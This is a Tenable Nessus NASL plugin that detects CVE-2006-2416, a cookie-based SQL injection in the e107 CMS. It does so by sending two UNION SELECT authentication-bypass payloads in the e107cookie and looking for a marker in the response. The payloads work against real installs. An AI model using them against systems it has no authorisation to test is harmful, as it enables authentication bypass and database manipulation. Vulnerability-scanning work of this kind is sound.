e107 e107_cookie Parameter SQL Injection

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(21555);
  script_version("1.27");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/05/14");

  script_cve_id("CVE-2006-2416");
  script_bugtraq_id(17966);

  script_name(english:"e107 e107_cookie Parameter SQL Injection");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
SQL injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of e107 installed on the remote host fails to sanitize
input to the application-specific cookie used for authentication.
Provided PHP's 'magic_quotes_gpc' setting is disabled, a remote,
unauthenticated attacker can leverage this issue to bypass
authentication and generally manipulate SQL queries.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/433938/30/0/threaded");
  # http://old.e107.org/e107_plugins/bugtrack/bugtrack.php?action=show&id=2775
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?4e869278");
  script_set_attribute(attribute:"solution", value:
"Upgrade to e107 version 0.7.4 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/05/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2006/05/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:e107:e107");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2025 Tenable Network Security, Inc.");

  script_dependencies("e107_detect.nasl");
  script_require_keys("www/e107");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("audit.inc");

port = get_http_port(default:80, php:TRUE);

# Test an install.
install = get_install_from_kb(appname:'e107', port:port, exit_on_fail:TRUE);
dir = install['dir'];

# Try to exploit the issue to bypass authentication.
magic = SCRIPT_NAME - ".nasl" + "-" + unixtime();
exploits = make_list(
  # 0.7.x
  ("1.nessus' union select 1,'" + magic + "',3,4,5,6,7,8,9,10,11,12," +
   "13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,'0',29,30,31,32,33#"),
  # 0.6.x
  ("1.nessus' union select 1,'" + magic + "',3,4,5,6,7,8,9,10,11,12," +
  "13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,'0',29,30,31,32,33,34,35#")
);

foreach exploit (exploits)
{
  clear_cookiejar();
  set_http_cookie(name: 'e107cookie', value: urlencode(str:exploit));

  res = http_send_recv3(
    method : 'GET',
    item   : dir + "/news.php",
    port   : port,
    exit_on_fail : TRUE
  );

  # There's a problem if it looks like we are logged in.
  if (
    # 0.7.x
    ('user.php?id.1">'+ magic +'</a>' >< res[2]) ||
    # 0.6.x
    ("user.php?id.1'>"+ magic +"</a>" >< res[2])
  )
  {
    set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
    if (report_verbosity > 0)
    {
      report =
        '\nNessus was able to verify the issue with the following request :' +
        '\n' +
        '\n' + http_last_sent_request() +
        '\n';
      security_warning(port:port, extra:report);
    }
    else security_warning(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "e107", build_url(qs:dir, port:port));